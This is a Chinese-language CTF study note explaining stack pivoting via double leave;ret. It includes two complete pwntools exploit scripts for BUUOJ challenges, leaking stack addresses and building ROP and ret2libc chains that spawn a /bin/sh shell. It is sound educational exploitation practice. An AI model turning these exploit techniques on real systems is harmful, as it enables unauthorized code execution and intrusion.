栈迁移
栈迁移
栈溢出可用的长度无法构造一个完整的ROP链,使用栈迁移换到另外的足够的地址去构造哦ROP链。
核心
两次leave; ret
指令。
leave-> mov esp ebp; pop ebp
即将ebp的内容赋值给ebp(ebp指向ebp原先存储的地址),然后将esp指向ebp原先的地址
ret-> pop eip
即将栈顶内容(下一条指令的执行地址)弹进eip
原理
第一次leave; ret;
ebp指向要迁移的目的地址,esp指向原先ebp位置,eip存储leave; ret;
指令地址,触发第二次。
第二次leave; ret;
esp指向要迁移的目的地址,pop ebp
后,将esp栈顶的内容弹入eip中,因此栈顶中存入system函数地址,就可以getshell了。
我的理解。
以ciscn_2019_es_2为例,s数组距离ebp有28h的距离,而可以最多溢出30h的长度,因此恰好可以覆盖掉ebp和ret,
这里补充一下c语言的知识。在C语言中,字符串是以字符数组的形式存储的,而以’\0’结尾的字符数组被视为字符串。printf函数是按照格式化字符串中的指示输出数据的,当遇到’\0’时,printf函数会认为这是字符串的结束符,停止输出。如果参数s全部填满,并且没有在末尾补上’\0’,那么printf函数将会继续输出内存中的数据,直到遇到’\0’为止。
在C语言中,字符数组通常是连续存储的,紧接着字符数组的末尾可能是其他变量或者数据。当printf函数继续输出字符数组后面的数据时,它会按照内存中数据的存储顺序输出,这样就可能输出了其他变量的值,甚至输出了存储在栈上的数据,如ebp地址。
当我们得到ebp地址后就可以推算出参数s在栈上的地址,从而在第二个read函数中进行栈偏移,把shell写入参数s的栈上。
我们根据调试,向程序填入'aaaa',得到位置距离ebp有0x38的长度,因此得到覆盖ebp的地址。因此在栈上填写的内容
p='aaaa'+p32(system_addr)+p32(0)+p32(bin_sh_addr)+'/bin/sh'
即'aaaa',system函数的地址,system函数的返回地址,/bin/sh字符串的地址 以及 字符串内容。因此字符串的地址位于s+0x4*4=0x10+s
的位置,这样payload就有了。
from pwn import *
log_level = 'debug'
io = remote('node5.buuoj.cn', 26294)
elf = ELF('./pwn')
leave_ret = 0x8048562
system_addr = elf.sym['system']
payload = b'a' * 0x27 + b'b' * 0x1
io.sendafter('name?\n',payload)
io.recvuntil('b')
ebp_addr = u32(io.recv(4))
s_addr = ebp_addr - 0x38
print('--------------->' + hex(ebp_addr))
pause()
bin_sh_addr = s_addr + 0x10
p = b'aaaa' + p32(system_addr) + p32(0) + p32(bin_sh_addr) + b'/bin/sh'
p = p.ljust(0x28, b'\0')
p += p32(s_addr) + p32(leave_ret)
io.sendafter('\n',p)
io.interactive()
注意这个sendline()
和send()
的区别,一开始因为这个问题老是打不通,sendline()
会自动在末尾添加换行符
再一个例子
actf_2019_babystack
64位未开canary保护的,大概运行一下程序可以发现漏洞应该是在read(0,s,nbytes)
这里最大nbytes可以是0xE0,而s最大0xD0,正好可以栈溢出覆盖ebp和ret的值,符合栈迁移。
后面的输出可以泄露栈的地址,然后找到一个可写的地址迁移到上面去,打ret2libc
from pwn import *
from LibcSearcher import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')
#io = process('./pwn')
io = remote('node5.buuoj.cn', 26746)
elf = ELF('./pwn')
main_addr= 0x4008f6
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
ret = 0x400709
pop_rdi = 0x400ad3
leave_ret = 0x400a18
io.recvuntil('>')
io.sendline(str(224))
io.recvuntil(b'0x')
s_addr = int(io.recvuntil('\n', drop = True), 16)
print("----------->" + hex(s_addr))
payload = b'aaaaaaaa' + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
payload = payload.ljust(0xd0, b'\x00')
payload += p64(s_addr) + p64(leave_ret)
io.sendafter('message?',payload)
puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print("------>" + hex(puts_addr))
pause()
libc = ELF('./libc-2.27.so')
libc_case = puts_addr - libc.sym['puts']
system_addr = libc_case + libc.sym['system']
binsh_addr = libc_case + libc.search(b'/bin/sh').__next__()
io.sendline(str(224))
io.recvuntil(b'0x')
s_addr = int(io.recvuntil('\n', drop = True), 16)
p = b'aaaaaaaa' + p64(pop_rdi) + p64(binsh_addr) + p64(ret) + p64(system_addr)
p = p.ljust(0xd0, b'\x00')
p += p64(s_addr) + p64(leave_ret)
io.send(p)
io.interactive()